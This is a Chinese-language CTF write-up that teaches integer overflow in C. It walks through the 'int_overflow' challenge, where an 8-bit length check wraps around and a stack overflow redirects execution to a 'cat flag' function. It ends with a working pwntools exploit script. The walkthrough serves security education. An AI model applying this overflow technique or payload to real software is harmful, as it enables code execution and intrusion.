0x10 基本概念
C语言中,基本数据类型包括短整型short、整型int以及长整型long,每种数据类型还可以分为有符号和无符号数,我们尝试用的int a = 0 这样的表达式,默认就是定义一个有符号的整型数据a。对于无符号数,需要显示声明为 unsigned int a = 0。每种数据类型都会有其相应的范围,跟编译器有关。我们以64位gcc编译器为例,其大小范围如下所示
类型 | 字节 | 范围 |
---|---|---|
short int | 2byte(word) | 0 ~ 32767(0 ~ 0x7fff) 32768 ~ -1(0x8000 ~ 0xffff) |
unsigned short int | 2byte(word) | 0 ~ 65535(0 ~ 0xffff) |
int | 4byte(dword) | 0 ~ 2147483647(0 ~ 0x7fffffff) -2147483648 ~ -1(0x80000000 ~ 0xffffffff) |
unsigned int | 4byte(dword) | 0 ~ 4294967295(0 ~ 0xffffffff) |
long int | 8byte(qword) | 正: 0 ~ 0x7fffffffffffffff 负:0x8000000000000000 ~ 0xffffffffffffffff |
unsigned long int | 8byte(qword) | 0 ~ 0xffffffffffffffff |
如果使用相应的数据类型声明一个变量,超过了其大小范围,那么这个变量就相当于溢出了。整数溢出本身不会造成代码执行,但可能会引发堆栈溢出,进而造成恶意代码执行的效果。
0x20 实际案例
我们以int_overflow这道题实际讲解一下整数溢出的利用方式,当然这里也用到了栈溢出,才能够达到 getshell 的效果。题目链接。可以直接在官网做题,也可以下载到本地。本题其实很简单,在这里我们分析一下,只是为了让大家对整数溢出有一个更好的的了解。
0x21 分析代码
我们先看看程序的安全编译选项
程序只是开启了栈不可执行,也就是说没有办法直接使用ret2shellcode的方式,执行我们注入的代码。但是栈保护和地址随机化都没有开启,说明该程序应该是比较简单的利用就可以了。
运行以下,看看程序的基本功能。
很简单,就是一个输入用户名和密码的程序,结合IDA反汇编,看一下源码中可能存在的问题。
入口函数并没有啥问题,那么再继续定位,发现有一个login函数,追踪进去
这里的passwd限制在了0x199个字节,并且紧接着有一个检查密码的函数check_passwd,再跟进去
变量v3是 unsigned __int8 类型,也就是8位,存放的是变量s(即传进来的password)的长度,但是v3能够存储的大小是8位的无符号数,也就是十进制数 0 ~ 255,而s的最大长度是 0x199 = 409个字符,明显越界。
这里说明一下,8位即1字节的二进制数,有符号的话,能够表示的范围是
-128 ~ 127
无符号的话,能够表示的范围是
255
如果定义一个无符号的8位二进制数,超过255,则溢出,比如 unsigned char a = 257,那么实际 a = 1 (循环)。
找到漏洞点,并且介绍了溢出的规则,那么我们要怎么利用这个漏洞呢?这里还有一个问题是代码的17行,也就是存在一个字符串拷贝,会将用户输入的密码拷贝到dest中,由上图可知,dest距离ebp也就是栈底 0x14 长度。 总结一下就是,该代码段存在整数溢出和栈溢出,具体的利用,我们接下来继续分析。
0x22 漏洞利用
打开IDA的string窗口,发现存在一个敏感的字符串 cat flag,这是CTF题目当中常见的字符串 flag,那么我们的目的就是让程序运行到调用该字符串的函数。
所以,需要查找该函数的地址(因为该程序没有开启ALSR)。所以我们的目的就是执行如下函数
flag_addr = 0x0804868B
至此,你可能会想,直接利用栈溢出,我们现在直接让输入的密码溢出,覆盖返回地址到 flag_addr 不就行了么,但是你会发现这样并不能成功,况且我们还没有用到整数溢出。接下来就是考虑填充字节的问题了。这里再分析一下 check_passwd 函数的汇编
函数首先会压栈,即 push ebp;mov ebp,esp;这是函数入口常见的一种汇编形式,同样的出口处一般会有 mov esp,ebp;pop ebp;而该程序在函数结尾处有一个leave指令。在32位程序中,这条指令就是表示刚刚我们说的两条汇编语句。也就是说,在覆盖函数放回地址之前,还有一次出栈操作,出栈数据大小4字节,即覆盖之前还需将这4字节覆盖了,才能实现跳转指向what_is_this函数,编写利用脚本如下:
如果输入的字符个数超过了 0x14,那么就会覆盖到stack中的内容,然而要想进入这个覆盖的函数,又需要password字符数在 3-8 之间,这里就用到了整数溢出,即
==>>(3-8)259-264之间随机选择一个数,这里取259
**payload = "a" * (0x14 + 0x4) + flag_addr + "a" * (259 - 0x14 - 0x4 - 0x4)**
最终的exploit代码如下
from pwn import *
flag = 0x0804868B
sh = process("./int_overflow")
context(log_level="debug")
sh.sendlineafter("Your choice:", "1")
sh.sendlineafter("username:\n", "xiaoming")
payload = "a" * (0x14 + 0x4) + p32(flag) + "a" * (259 - 0x14 -0x4 - 0x4)
sh.sendlineafter("your passwd:\n", payload)
sh.recv()
sh.interactive()
由于我们将云端的题目下载到本地来运行的,实际还需要在本地新建一个名为flag的文件,里面输入随意的内容,即可打印出来
0x30 总结
上述题目的难点不在于栈溢出,而是在于整数溢出的利用,最终填充的a的字符个数,一定要在给定区间内,才能达到漏洞利用的效果,否则,无法进入相应的溢出代码段。